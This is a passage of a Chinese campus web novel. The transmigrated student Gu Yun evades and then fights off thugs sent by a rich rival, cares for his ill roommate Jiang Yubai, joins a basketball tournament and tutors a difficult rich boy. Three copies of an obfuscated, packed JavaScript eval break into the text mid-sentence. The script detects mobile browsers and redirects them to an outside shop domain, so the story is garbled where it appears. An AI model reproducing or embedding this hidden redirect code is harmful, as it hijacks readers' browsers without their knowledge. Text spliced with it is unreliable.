毕竟是在学校里面,顾蕴没有多想,只以为谁家健身房教练跑出来了,肌肉还怪发达的。 四人迎面走来,顾蕴秉承着大学生的良好品德,贴着墙壁那侧走,给对方让路。 但对方好像是冲着他来的,面前伸出一只健壮的手臂将他拦住,四个壮汉将他团团包围。 顾蕴疑惑地环顾一圈,伸出手指戳了戳肌肉块,很有礼貌地开口道:“麻烦让让。” 手感很好,但是没人让,也没人说话。 顾蕴这会儿是明白了,面前这几个人是冲他来的。 为首的男人凶神恶煞地询问:“你就是顾蕴吧。” 来者不善。 面对这样一群人,顾蕴自然不可能承认自己是顾蕴。 他睁着黑黝黝的眼眸,满脸无辜地反问:“谁啊?你们认错人了吧,我不认识。” “你真不是顾蕴?”顾蕴的表现足够冷静,反问得理直气壮,倒真让人觉得是他们认错了。 “不认识啊。”顾蕴伸手推开挡住他路的人,一出对方的包围圈,他就加快了脚下的速度,三步当成两步走,握着书包带子,飞速逃离现场。 走的时候顾蕴还听到身后的四个人在说话,“不是吧老大,他就是顾蕴啊,和照片里面长差不多啊。” “我靠,你什么眼神,他真人看起来比照片帅多了。” “还不赶紧去追。” 顾蕴默默迈大了步子,转头跑进门卫室。 宿管大爷正悠闲地刷着抖音,见有人来了,抬头看了眼顾蕴,又自在地继续刷着抖音,“要拿外卖自己找。” “好的。”顾蕴应了一声,大脑飞速运转。 他都查了,原主没借网贷,所以这些人应该不是来找他还钱的。 除了网贷,还有谁能找这么多□□的人来堵他? 顾蕴只能想到一个人——宋怀墨。 同桌跟他描述的原著里,宋怀墨仗着家里有钱,没有半点王法,所有行为都无法无天。 昨天他把江予白从表白现场拉走,踩了宋怀墨面子,今天宋怀墨就打包了四个肌肉男上门来揍他。 还真别说,速度挺快的。 顾蕴不怕打架,但不想在学校惹事。 他借着门,站在视觉盲区,成功躲开了四个肌肉男。 对方知道他的宿舍位置,估计也知道他每天的行程安排,顾蕴没再去图书馆,扭头又回了宿舍。 今天没课,江予白和王明亮都在宿舍,顾蕴到宿舍的时候,王明亮还在睡觉,江予白坐在椅子上,听到动静抬着眸子看了一眼,但很快又收回了视线。 顾蕴把书包放在桌子上,走到江予白身侧,俯身拿出手机里刚才偷拍的照片,悄声询问:“你认识这几个人吗?” 担心吵到王明亮睡觉,顾蕴声音小,靠的也近,江予白甚至能闻到顾蕴身上的薄荷香,这个距离太近了。 他不动声色地往另一侧倾斜,拉开了和顾蕴之间的距离。 至于照片上的人,他的确见过。 江予白微微皱起眉头,眼神中带着一丝不易察觉的探寻,语气平静而略带冷淡地问道:“你在哪见到的?” 顾蕴老实回答,没看江予白的脸,自然也没看出江予白表情里的深意:“宿舍楼里面。” 江予白唇角微微下拉,“他们来找你了?” “应该是要找我的,只不过我躲开了。”顾蕴点点头,追问道:“你认识?” 江予白:“认识。” 顾蕴心一坠,“是和宋怀墨有关吗?” 江予白“嗯”了一声,像是习以为常了,“下次看到他们不用管。” 这个回答像一道雷,正中顾蕴的天灵盖,他打了个寒颤,“为什么不用管?他们在身边我们真的安全吗?我去找辅导员。” 顾蕴退后一步,作势就要往宿舍外走。 江予白一把拉住他的手,顾蕴的脑袋里不断循环播放同桌说的话:江予白死状惨不忍睹。 抛去他俩是室友不谈,这也是一条活生生的人命,最后落得那样的下场怎么行。 顾蕴顾不得别的,下意识甩开握住他的那只手。 “嘶——” 顾蕴回头,看到的是江予白被撞红的手臂,白皙的手臂上一块明显的红痕,格外引人注目。 江予白垂着眸子,望着手臂处的痕迹。 顾蕴连忙上前,他蹲在江予白面前,想查看被撞出的痕迹,还没来得及触碰到江予白的手,就被他躲开了。 “没事。”江予白语气淡淡的,脸色不是很好看。 顾蕴更内疚了,“对不起,我没想到会弄伤你。” 许是动静有点大,王明亮被吵醒了,他从床上探出一个脑袋,好奇单纯地询问:“你俩在打架吗?” 他打了个哈欠,劝道:“还是不要打架吧,影响不太好。” 江予白:“……” 顾蕴尴尬地摸了摸头,“没打架,你继续睡吧。” 王明亮收回了脑袋,又躺了回去,就好像刚才只是在梦游一样。 “真的没事吗?要不要涂点药,我去找找药。”顾蕴第一次弄伤人,感到抱歉的同时还有点焦急。 他后知后觉地意识到自己反应过于激烈,估计吓到江予白了,原著里江予白身体本来就弱,不经吓,要是被他吓出毛病了就不好了。 江予白的皮肤很嫩,他又白,稍微撞到都会留下一道痕迹,看起来触目惊心,顾蕴回想不起来他刚才的力度,只记得那一刹那间瞥到的红痕。 江予白扭过头,皱了皱眉,“真的没事,只是撞到了。” 这个伤不严重,甚至不能说是伤,江予白压根没放在心上,他也不懂顾蕴为什么这么紧张。 只是他觉得顾蕴的表现和昨天一模一样,先斩后奏再道歉,一套流程完全没有任何变化,虽然顾蕴本质上没有恶意,但这个行为……好吧,其实江予白也说不上有多讨厌。 “没事。”江予白坐直,面无表情地回道。 原本他也没想跟顾蕴解释,但余光中瞥见顾蕴满脸担忧,没忍住多解释了一句,“他们不会做什么的,不用浪费时间管他们。” 顾蕴有点质疑,但没多说什么:“好吧……我知道了,你要是有需要帮忙的地方可以找我。” 江予白点了点头,“你要真感到抱歉,中午帮我带个饭。” 顾蕴点头如捣蒜,迫不及待地应下了这个差事,“好啊,小事,可以的。” 果真如此,江予白的话一说完,顾蕴就回了自己的位置,没再站在他面前。 除了王明亮…… 一听到饭,王明亮从睡梦中惊醒,像诈尸了一般,“我也要,蕴哥我也要。” 顾蕴:“好的,没问题。” 王明亮欢呼,脑袋一歪,又睡过去了,“谢谢蕴爹!” 江予白:“……” 顾蕴:“……” 原来带个饭就可以收获一个这么大的儿子,这买卖还挺划算的。 等顾蕴坐回自己的位置后,江予白才打开手机,他垂下眼眸,神色像凝结了一层寒霜,眼神锋利无比。 他已经容忍宋怀墨很久了,老头子不让他动,他也就忍着了,但没想到宋怀墨越来越放肆,昨晚又一次舞到他面前了。 江予白冷笑,看来是他给的教训还不够,短短几天就让宋怀墨解决好了。 顾蕴完全不知道江予白做了什么,他突然想起了刚才江予白的脸色好像有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090281|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太对。 一个闪现,他又出现在江予白面前,此时江予白正关上手机屏幕,银色的手机壳上映着的那张脸发红,就连呼吸都好像发着烫。 顾蕴习惯性地想伸手摸江予白额头探温度,但回想起江予白不爱被人触碰,他又把伸出去一半的手收了回来。 “江予白,你是不是生病了?”顾蕴指了指他的脸,“你的脸有点红,看起来像感冒了。” 江予白用手背贴了贴脸颊,手背触碰到脸颊时,冰冷的手背驱散了滚烫的温度,江予白摇了摇头,这才发觉脑袋有一点点重。 估计是昨晚吹了风,又被拉着跑了一段路,晚上又没休息好这才感冒了。 倒也说不上严重。 这是江予白从娘胎里带出来的,他天生体弱,从小到大小病不断,大病倒还没有,像感冒这种,江予白已经习惯了,甚至完全没把这当回事。 所以他选择摇头,拒绝了顾蕴的好意:“我没生病。” 顾蕴心想,一点也不像没生病的样子,但他没急着反驳江予白,而是选择换问题询问:“你头晕不晕呀?” 江予白回答的非常坚定:“不晕。” 你永远叫不醒一个装睡的人,就像顾蕴这会儿得不到江予白承认生病的回答一样。 “好吧。”顾蕴没再纠结这个话题,他下楼买了个早餐,顺带去校医院买了温度计和一些感冒药。 这些东西给江予白的时候,顾蕴也表达的非常委婉,完全没给江予白拒绝的机会。 他连着早餐和药,一并收下。 附带还给顾蕴的,是一个五百元的红包。 顾蕴没收。 因为社会人士跟踪围堵人,以及江予白生病这两件事,在接下来的几天里,顾蕴非常谨慎,上课下课都跟江予白一起走,没给江予白落单的机会。 “……顾蕴,你很闲吗?”江予白停下脚步,非常无语。 以前顾蕴一下课就往图书馆跑,早出晚归,平时都没时间机会在白天看到他,只有晚上才能在寝室见到,但这会儿,顾蕴就跟跟屁虫一样跟着他,甩都甩不开。 江予白住回寝室原是想观察顾蕴的变化,但是,他不需要这么近距离的观察。 更何况,他在前几天已经得出了结论,这个观察计划可以暂停了。 顾蕴如实回答:“不闲。” 江予白反问:“那你跟着我干什么?” 顾蕴保持沉默,柔软的唇瓣紧抿着,黑黝黝的眼睛低垂着,眼尾向下,高耸的鼻梁在光影中更显轮廓分明,头发发卷,看着像只受了委屈的毛绒大狗。 江予白瞬间就懂了他的意思,他有点无奈,罕见有耐心地解释道:“我感冒已经好了。” “那件事我也已经解决好了。” 感冒好了这个顾蕴早就知道了,但是后半句顾蕴还是第一次知道。 他愣了一下,“这么快?!” 江予白自顾自地往前走,“嗯。” 顾蕴好奇地跟了上去,“怎么解决的,那可是主角……宋怀墨!” 江予白停了下来,浅色的眸子紧盯着顾蕴:“什么?” 如果他刚才没听错的话,顾蕴嘴中说的是:那可是主角。 什么主角? 顾蕴只觉得后背凉飕飕的,江予白的耳朵也太好使了吧。 他找补:“宋怀墨吗?我说他可是策划人跟踪我们的主角,不是很容易解决的样子。” 江予白打量了顾蕴一番,当目光落在他的双眸时,特意驻足了几秒,就在顾蕴即将承受不住这种审视时,江予白方才缓缓移开视线,“也没有那么难。” 他没解释具体发生了什么,不咸不淡地说了一句,迈着步子离开了,留下顾蕴撑着脑袋在思考。 这个时候宋怀墨还没和江予白闹翻,江予白家里也没出事,解决这件事很快也正常吧。顾蕴逻辑自洽,没多想,只庆幸自己终于解放,也没再跟着江予白。 江予白走过长廊,回头一看,身后全然没有了顾蕴的身影。 ? 他还以为顾蕴多有耐心呢,跟两天就不跟了。 6. 不要这么说 很不幸。 顾蕴还没走十分钟,就被四个人包围,他仔细一看,竟然还是熟人。 最壮的肌肉男愤怒地指责:“顾蕴,你竟然敢骗我们!” “你是不是男人,连自己是谁都不敢承认。” 这里人迹稀少,又没有监控,扯着嗓子喊声音才会传出去。 顾蕴不想伤害自己的嗓子,于是他一本正经地忽悠道:“我不是顾蕴,我是钮祜禄氏顾蕴。” “这有什么区别,不都是顾蕴吗?” “当然有区别,这都不知道,罚你们通读甄嬛传十遍!” “甄嬛传是什么?” 顾蕴都没想到对方会接他的话,只不过他也没看过,他对甄嬛传的印象全来自于他的同桌,但这并不妨碍顾蕴挑拨离间。 顾蕴有些惊讶:“不是吧,宋怀墨这么压榨你们吗?连甄嬛传都不知道。” 肌肉男大吃一惊:“你怎么知道是宋怀墨?” 还真是宋怀墨。 顾蕴皮笑肉不笑:“你猜。” 他无意再与他们聊下去,伸手推开挡在面前的两人,旁若无人地径直往前走。 “喂。”一双手握住顾蕴的肩膀。 顾蕴脚步一顿,身体迅速做出了反应,他的膝盖弯曲,双手迅速抓住对方的手腕,用力向外掰开,肩膀随之下沉。 一个转身,右膝狠狠顶上对方的腹部,顾蕴顺利地从对方的掌控之中逃脱。 顾蕴下手重,对面显然没料到他会有这样的反应,毫无防备之下被重击,这会儿捂着肚子痛得哇哇叫。 受伤的肌肉男是四个人里的老大,老大都被打得这么惨,其他三个人小心翼翼全然不敢乱行动。 顾蕴微微耸肩,大摇大摆地离开了案发现场:“我都说了不要堵我,现在好了吧,下次不要这样了。” 从没有人这么对他! 肌肉男气得咬牙切齿,但又不得不佩服顾蕴。 “你是说顾蕴从你们四个人手底下跑了?”宋怀墨一身西装笔挺,背靠在沙发上,嘴里叼着一根烟,烟雾缭绕,模糊了他的脸。 “他很厉害,我身上现在还痛着。”何二掀起T恤,露出肚皮上被重击的痕迹,他怕宋怀墨看不清,又往宋怀墨面前靠了靠。 宋怀墨屏住呼吸,眼疾手快一把把他推开,愤怒道:“我没瞎,你是要臭死我吗?” “平时能不能勤快一点多洗几个澡?”宋怀墨捂着鼻子,恨不得把何二一脚踢出去。 何二默默地后退一步,没说话。 宋怀墨安排道:“你自己去想办法,让顾……顾什么远离予白。” “哦。”何二摸了摸肚子,感受到了痛意,此刻,不满涌上他的心头。 他都受伤了,宋怀墨嫌弃他臭就算了,还踹了他一脚,何二低着头,不满地想着。 宋怀墨抽着烟,指尖有一下没一下地叩着沙发。 “宋……宋先生,我……”唐小酒不自在地扯了扯身上的浴巾,下楼梯时白皙的腿从浴巾中钻出,若隐若现,依稀可以看到上面红紫的痕迹。 他声音怯怯的,在见到了何二后更是不敢说话,只呆呆地站在楼梯上,手扶着扶梯,像只兔子一样胆小。 何二视力好,一眼就瞧见了唐小酒,他不可置信地看了眼唐小酒,又把视线移回到顾蕴身上,整张脸上抖音写满了不可置信。 宋怀墨不是才跟江予白表白吗?不是才让他恐吓顾蕴让他远离江予白吗?这又是什么情况?上面那个人又是谁? 他身上的痕迹又是什么?宋怀墨一边跟江予白表白一边和别人搞在一起吗?而且这人和江予白看起来完全是两个性格的人。 何二的脑袋里闪过十万个问题,再抬头看宋怀墨时,眼神完全不一样。 宋怀墨一脚踢在何二的腿上,慢条斯理地理了理衣服,“还不走?” 又踢了他一脚。 何二吃痛地弯腰,余光看向唐小酒,退出了宋怀墨的视线。 - 顾蕴很神奇地发现,从某种角度来看,以暴制暴有着意想不到的效果。至少在这几天里,没有人再跟着他。 但好像总有一双莫名其妙的眼睛在盯着他。 顾蕴暂时还没找到那个人。 “江予白。”顾蕴侧头,凑到江予白面前,“你有没有感觉到一种……很,很奇怪的眼神?” 江予白头也没抬,眼睛望着手机,但嘴上还是回了顾蕴一句,“什么?” “就是有人一直盯着你,但当你回头去找,那道视线又消失不见了。”顾蕴一边解释一边摸了摸手臂,总感觉凉飕飕的。 在他还没穿书前,顾蕴是一个坚定的唯物主义,他的政治次次都是年级第一,他也从不信什么鬼神之说。 但,穿书改变了他的想法。 他都能穿到书里,那有鬼又算什么。 江予白终于抬头看他一眼,淡淡地说了一句,“那估计是有鬼吧。” ?! 顾蕴的神经瞬间绷紧,顾不上考虑江予白不爱被人触碰,上半身一整个大动静,再回过神,他的胳膊已经挂在了江予白身上。 江予白的脸上表情丰富,精致的脸皱成一团,想伸手推开顾蕴,但顾蕴像八爪鱼一样贴着,他完全找不到下手的地方。 江予白的声音都大了不少:“顾蕴,起开。” 顾蕴自知理亏,小声嘟囔,“江予白,不要说这种伤人心的话,我会被吓死的。” 江予白心一愣,他以为顾蕴话里有话,侧目看才发现顾蕴脸上全是害怕,压根没什么玩暧昧的想法,纯粹是他想多了。 那些想法转瞬即过,但江予白就是有些恼羞成怒。 于是在顾蕴松开后,他没再理顾蕴了。 顾蕴认真地建议:“江予白,下次不要说鬼吓我了,吓死了你就没有我这样的室友了。” 这是一个非常严肃的问题,顾蕴通宵熬夜凉凉之后,自觉心脏特别脆弱,禁不住半点恐吓。 作为为江予白提供好几顿早餐的室友,顾蕴认为,江予白需要意识到这一点。 江予白:…… 江予白反问:“你怕鬼?” 顾蕴身上有一种莫名的单纯的气质,就像是清澈愚蠢刚毕业的高中生。江予白这种不太爱说话的人碰到他都会忍不住接他的话。 顾蕴承认的很干脆,半点都不带犹豫:“怕。” 江予白看了过去,清冷的眼眸闪过一丝不解,仿佛在疑惑,顾蕴的身躯这么高大,理应有一个强悍的灵魂,怎么会怕一个虚无缥缈的东西。 江予白有些困惑,过了一会,顾蕴又问:“江予白,你真不怕鬼吗?” “……不怕。” 顾蕴:“为什么啊,要是真有鬼呢?” 江予白顿了顿,“那你说谁是鬼?你吗?” 之前他还真这么想过,毕竟顾蕴的变化实在是太大了,只有他是鬼才能说得通。 王明亮凑了过来,加入了这个话题,“顾蕴你是鬼吗?” 王明亮:“鬼也会怕鬼吗?” 顾蕴一把推开王明亮,“说什么呢,我是鬼那你是什么?” 上次王明亮还认了顾蕴当爹,顾蕴是鬼的话王明亮就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090282|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是鬼儿子。 “我是饿死鬼。”王明亮举手。 “……” 这个话题愚蠢又幼稚,江予白也不知道自己怎么跟这俩人聊下去的,大概是顾蕴身上那种傻狗气质会传染给人。 江予白下结论,他回头,看着手机不再说话,退出了这个话题。 顾蕴和王明亮还在继续,王明亮说自己是饿死鬼,顾蕴说自己是困死人,两个人聊起来没完没了,一直到老师说上课才停下来。 上课听课的人其实不多,王明亮是其中一个,他一看到篮球赛的消息,就迫不及待地推了推顾蕴。 “顾蕴,看群消息。”王明亮用口型喊道。 顾蕴一直保持着高三上课的习惯,上课铃声一响绝不看手机,但王明亮使劲吆喝,欣喜若狂的模样让顾蕴忍不住好奇心泛滥。 他拿起了手机,看了一眼,终于明白了王明亮疯狂的原因。 篮球赛。 顾蕴这么多天以来,一直是篮球场、教室、图书馆、宿舍四点一线,他对篮球的热爱程度肉眼可见,同宿舍的王明亮自然也是清楚的。 顾蕴毫不犹豫地报名参加。 报完名他又问王明亮:“你要不要也参加?” 王明亮一脸惊恐,“去不了!” 他的反应剧烈,这三个字除了顾蕴,其他同学听到了,同在教室的老师也听到了,全场死一般的寂静。 这节课的老师是一位性格非常古怪的老教授,发白胡须,脸上皱纹耷拉着,看起来非常不好说话,事实证明也是如此。 他无情地看向王明亮,在对方放低脑袋的时候,冷漠地把他喊了起来,“这位同学,发表一下你的高见。” 王明亮根本没听课,被点起来的那一瞬间他心都快死了,一紧张连顾蕴给他的提示也没看懂,支支吾吾半天也答不出老教授的问题。 老师皱眉,没让王明亮坐下,他的目光在继续扫视,试图从一堆鹌鹑里揪出下一个倒霉蛋。 气氛低迷,无人说话,甚至连呼吸声都小了。 “顾蕴,你来说说。” 这句话一说,周围人都松了口气。 江予白的视线跟着大家落到了顾蕴的身上,他看到顾蕴明显愣了一下,显然没意识到老师会点他。 顾蕴确实没料到老师会点他,但他很快反应过来,站了起来,声音沉稳:“(高产量, 高产量)是一个纳什均衡,但它不是帕累托最优的……” “坐下吧。”老教授的嘴角扯了扯,脸色明显好看了许多。 这个问题不算很难,只不过涉及到之前章节的内容,顾蕴前几天刚看过,脑袋里还有一点印象,刚才王明亮被点的时候他也在思考,这会儿很顺畅地答了出来。 坐侧面的同学见他坐下,好奇地看了顾蕴好几眼,随后拿出手机翻了翻,确认好后伸手戳了戳顾蕴,“同学,加个联系方式呗。” 老教授对顾蕴的回答很是满意,气氛也没再那么严肃,加好友只是瞬间的事,顾蕴也没拒绝,拿出手机加了对方。 江予白目睹这一切,没再看下去,收回了视线。 参加篮球赛可以加一个学分,赢得比赛更是能再加一分,短短四十分钟,等到课后再看,表格就已经填了大半。 王明亮点开一看,蛐蛐道:“哇塞宋怀墨也报名了诶。” 他和江予白从大一就分在一个寝室,对江予白这个追求者自然也是了解,虽说没有时刻关注,但对这个名字还算是敏感。 顾蕴凑过去一看,还真是宋怀墨。 更巧的是,他和宋怀墨处在两个敌对的阵营。 7. 这一切 王明亮解释:“宋怀墨年年参加篮球赛,他挺厉害的,每年都有很多人去看他,男女都有。” “你以前不打球,也不参与任何活动,不知道这个也正常,今年你不是报名了吗,到时候你就知道了。” “场面很是盛大,篮球赛观众席的位置一票难求。” 顾蕴点了点头,眼里全是期待:“那他确实挺厉害的,我必须得去好好学习观摩。” 虽然宋怀墨人品不怎么样,但听王明亮这么一说,他还是有可取之处的,至少球技还不错。 顾蕴决定抛开偏见,认真学习。 ……好像有点抛不开。 人心中的成见是一座大山,顾蕴又不是愚公,压根移不开这座大山,他选择放弃。 王明亮发愁:“今年怎么就安排我们院和他们院比啊,我们院年年倒一,这一下和正一对上,还怎么比啊。” “我们院好像也没什么受欢迎的球员。要是江哥也去就好了,那估计会有一堆人围观咱们。”王明亮异想天开,“不过江哥向来不参加。” 顾蕴不知道想到了什么,眼睛一亮,像缀着星星点点,语气不由自主地激动起来,仿佛碰到了什么喜事,“从没去看过吗?” 王明亮都被他吓一跳,“对啊,据说宋怀墨每年都邀请,但江哥每年都没去过。” 顾蕴欢呼:“那就好!” 江予白连宋怀墨打篮球都不愿意去看,那估计是真的对宋怀墨不敢兴趣,意识到这一点后,顾蕴又把心放回了肚子里。 他就说江予白看着不像恋爱脑的人。 顾蕴脚步轻快,连带着一整天的心情都好了许多。 愉悦放松的心情持续了一整天,甚至驱散了顾蕴备课时的烦闷。 他穿过来的时候原主就没什么钱了,靠这笔钱完全没办法生活,顾蕴一直没闲着,来的第二天就在找兼职。 对于大学生来说,来钱最快的途径就是无非是家教,但是家教有门槛,原主大一的成绩不能说是烂,只能说是非常烂、无敌稀巴烂,放在简历上根本行不通。 顾蕴找了这么久,也就一个家长让他明天去试课。 据说试课的学生家中非常有钱,家长给钱也大方,但学生十分难搞,恐吓吓走了好几个专业的学校老师和一群大学生家教老师。 没有人愿意去,大家家教是想赚钱,而不是送命,毕竟真有被气死的可能。 顾蕴瞎猫碰上死耗子,正巧投了简历,家长这才让他去试试。 顾蕴在这边第一次家教,教材上会有细微差别,所以哪怕他之前成绩再好,准备再充足,顾蕴还是打算再准备准备,尽量争取拿下明天的兼职。 家教的地址在别墅区,那一块没有公交,顾蕴钱包有限,第二天早早便出了门,坐上了到别墅区最近的公交站,余下的距离准备打车过去。 出租车司机非常意外地看了眼顾蕴,“这个月我接了好几个去那的顾客,你也是去家教的吗?” 顾蕴颇为意外,“这么多人去啊。” 司机:“可不是,这一块就我在跑出租车。” 顾蕴震惊,他以为中介的话有夸大的成分,没想到半点都没有唬人。 等到了别墅区,见到豪华大院子,顾蕴才真切地感受到司机嘴中的“富贵”是什么意思。 被管家带到学生门口时,顾蕴还有些没缓过神。 管家苦口婆心地交代:“顾老师,我家少爷有点小脾气,麻烦您多包容包容。” 顾蕴得体地笑了笑,“您放心吧。” 管家:“门没关,您自己进去吧,进门的时候小心一点。” 顾蕴理了理衣服,敲了敲门,这时候他还没理解管家口中小心一点的含义,等他推开门,一个花瓶直冲脑门,顾蕴才理解他话里的含义。 确实挺要命的,顾蕴接过迎面而来的花瓶,心里想道。 顾蕴走进去,把花瓶放在书桌,自我介绍道:“你好,我是顾蕴,是新来的家教老师。” 学生背对着他,听到动静这才转过身来,但他并不是因为顾蕴的自我介绍而转身,而是因为顾蕴接住了花瓶。 他站起来,腿往后蹬,椅子被他一脚踢开,“你不是第一个接住我花瓶的人。” 这小孩,怪小的。 他坐着的时候顾蕴还没有注意到,他站起来顾蕴才发现,这小孩矮矮的,差不多只到他肩膀的位置,看上去一点也不像高一的学生。 学生抬着头,愣了一下,呢喃:“……但还是第一个长这么好看的。” 顾蕴推着凳子坐下,长腿挤在书桌前,把包里的资料拿了出来。 江瑜震惊,“腿还这么长?!” 他的视线忍不住停留在顾蕴的腿上,想了想,“给你个机会吧。” 江瑜:“顾老师,你的学历真的没有造假吗?” 顾蕴:“你答出这个问题我就回答你。” 江瑜低头,看了一眼书,下一秒,教材出现在了地上,江瑜踩了一脚。 江瑜非常嚣张:“答完了。” 顾蕴:“……零分。” 这堂课继续下去,江瑜又提出了新的问题:“顾老师,你是不是去整容了?” 在他的印象里,学霸好像都不长这样,至少之前来他家做家教的就不长这样。 顾蕴:“……” 好在江瑜没有继续追问下去,让顾蕴顺利地讲完了这堂课。 虽然很不想承认,但是顾蕴不得不承认,脸从某种意义上帮到了他,借着这张脸顾蕴很顺利地教完了一节课。 管家早早就在门口等候,他刚开始还怕顾蕴和江瑜会在里面打架,没听到砰砰响的打架动静时,他还担心顾老师会被江瑜单方面揍。 管家甚至还准备好了付给顾蕴的赔偿费——一笔巨款,来家教的老师都拿过,并且对此非常满意。 一直到房间门被打开,顾蕴完好无损的从里面走了出来,管家才意识到,顾老师真的有两把刷子。 江家并不缺钱,顾蕴的家教费在他回去的路上就到账了,他点开一看,非常多的钱。 管家说这除了课时费,还有心理损失费。 顾蕴想了想还是收下了,余下一个月的生活费都有着落了。 - 虽说是篮球比赛,但毕竟比赛第二,友谊第一,在正式篮球赛前,所有参赛队员都需要参加统一的培训。 但这个培训算不上太正式,真说起来的话,其实更像是大家在比赛前见一次面,交代一些注意事项。 顾蕴在这里看到了好几个平时一起打球的朋友,除此之外,还看到了一个意料之外的人——宋怀墨。 这是他们第二次见面。 第一次见面是在宋怀墨向江予白表白的现场,而顾蕴带走了被表白的对象。 只不过第一次见面时顾蕴并没有看清楚宋怀墨的长相。现在宋怀墨就坐在他的侧边,顾蕴只要往旁侧靠就能看清他的脸。 学校用的是带靠背的大红塑料凳,宋怀墨背靠着塑料椅,双腿交叠,手背撑着脸,手肘撑在塑料靠椅扶手上,露出刀削般的下颚线。 顾蕴再往旁边挤,依稀看到了宋怀墨的眼睛,眼尾上挑,眼眸深邃。顾蕴再仔细看,宋怀墨脸上还挂着笑,嘴角上扬的弧度刚刚好。 此刻顾蕴的脑袋里莫名其妙冒出一个词:邪魅。这个词用在宋怀墨身上简直是完美,完全是为他量身定做的词。 忽略原著的剧情不谈,也忽略宋怀墨的人品不提,他这一身皮囊确实生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090283|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极好,是很多人都会爱的那款。 或许是他看得太久,宋怀墨回头看了一眼,吓得顾蕴连忙收回视线。 也不知道是他的动作太慢,还是宋怀墨的目标本来就是他,宋怀墨的视线直直地锁定住了顾蕴。 他看人的时候,从上到下仔细地打量着,眼神中透露出审视与探究,像极了上位者打量下位者,也可以说是看着一只蝼蚁,视线赤裸裸的,不带任何遮掩,总之让人很难受。 顾蕴压根就没想和人产生交集啊! 他以为宋怀墨就好奇地看两眼,结果他还看上头了。 顾蕴朝宋怀墨笑了笑,非常有礼貌地开口询问:“怎么了?” 宋怀墨明显没料到顾蕴会是这样的反应,他以为顾蕴会害怕,结果没想到对方竟然不要命的地朝他笑了笑,简直是把他的威压视为无物。 太久没有人这样对他了,宋怀墨有些愤怒,想要站起来教训顾蕴。 然而他还没行动,下一秒培训就开始了。 负责人拿着话筒站在主席台,“请大家安静下来,都坐在自己的位置上。” 这边这么多人,闹起来也很尴尬,宋怀墨到底还是要面子,他假装站起来理衣服,悄无声息地坐回了自己的位置。 顾蕴无声地躲过一劫,他甚至没找到宋怀墨坐回去的原因,单纯地以为他真的只是站起来理衣服,而不是要站起来揍他。 培训结束完,顾蕴全然忘记了培训前的小插曲,他收拾好东西,抬头一看,面前站了一个还算熟悉但不完全熟悉的人。 宋怀墨开口,语调里带着浑然天成的高傲,“你就是顾蕴?” 同样的招数无法用第二次,更何况顾蕴椅子后面还贴着两个无敌巨大的字。 顾蕴回了一句是的,又问他有什么事吗。 宋怀墨眯了眯眼睛,威胁:“我警告你,离予白远一点。” 顾蕴点头,没有半点抗拒:“哦,好的。” 宋怀墨都没意识到顾蕴答应的这么爽快,他甚至准备了一肚子威胁的话都没说出来。 还没等他再说些什么,顾蕴非常严谨地反问:“请问一下怎么才算远离?是五百米?五千米?十千米?还是十万米?” 他们住在同一个宿舍,五百米的距离顾蕴还可以接受,但要是五千米的话……宋怀墨是想要他住进别人的宿舍吗? 这个问题也不在宋怀墨的预料之中,但要选自然是选择最近的距离,他毫不犹豫地回道:“五百米。” 等意识到他被顾蕴带偏,还像傻子一样回答顾蕴的问题,甚至傻傻的在四个选项里面进行选择,他就很是愤怒,“说这些有的没的干什么,你离他越远越好!” “好吧,我尽量。”顾蕴应了一声,提着包准备离开。 顾蕴不按常理出牌,宋怀墨人都傻了,顾蕴走的时候他甚至还往旁边骗了骗,给顾蕴让了路。 没有人能够违抗他的命令,宋怀墨非常自信,压根没想过顾蕴还有不远离江予白的这种可能。 顾蕴走到一半,不知道突然想到了什么,他停下脚步,回头看了一眼。 原文剧情开始于宋怀墨表白失败,那天晚上也是宋怀墨表白失败。 所以,有没有一种可能,那就是唐小酒的剧情已经开始了? 顾蕴回头看,视线正对着培训场外,宋怀墨站在车前,正准备进去。 车门打开的瞬间,里边的装饰被顾蕴收入眼帘,除去宋怀墨,并没有其他人。 他好像猜错了。 照他现在观察来看,江予白好像没那么恋爱脑,宋怀墨好像也没有那么那么渣,那有没有可能,原文里发生的一切不一定真的会发生。 顾蕴思考着,再抬头发现,宋怀墨的车停在了前面。 8. 唐小酒 这里只有一条大马路,顾蕴需要顺着这条马路才能回宿舍,好巧不巧,宋怀墨的车正好停在距离顾蕴五百米的位置。 车子停的时候顿了一下,像是有什么人在前面拦车,顾蕴这个位置刚好可以看到车子。 车子停下来后,站在车前面的人很快移到侧面,顾蕴看见司机从车窗位置探出脑袋。 “你找……”只差一点点就撞上了,司机开窗想要骂人的时候,宋怀墨咳了一声,司机硬生生把骂人的话咽了回去。 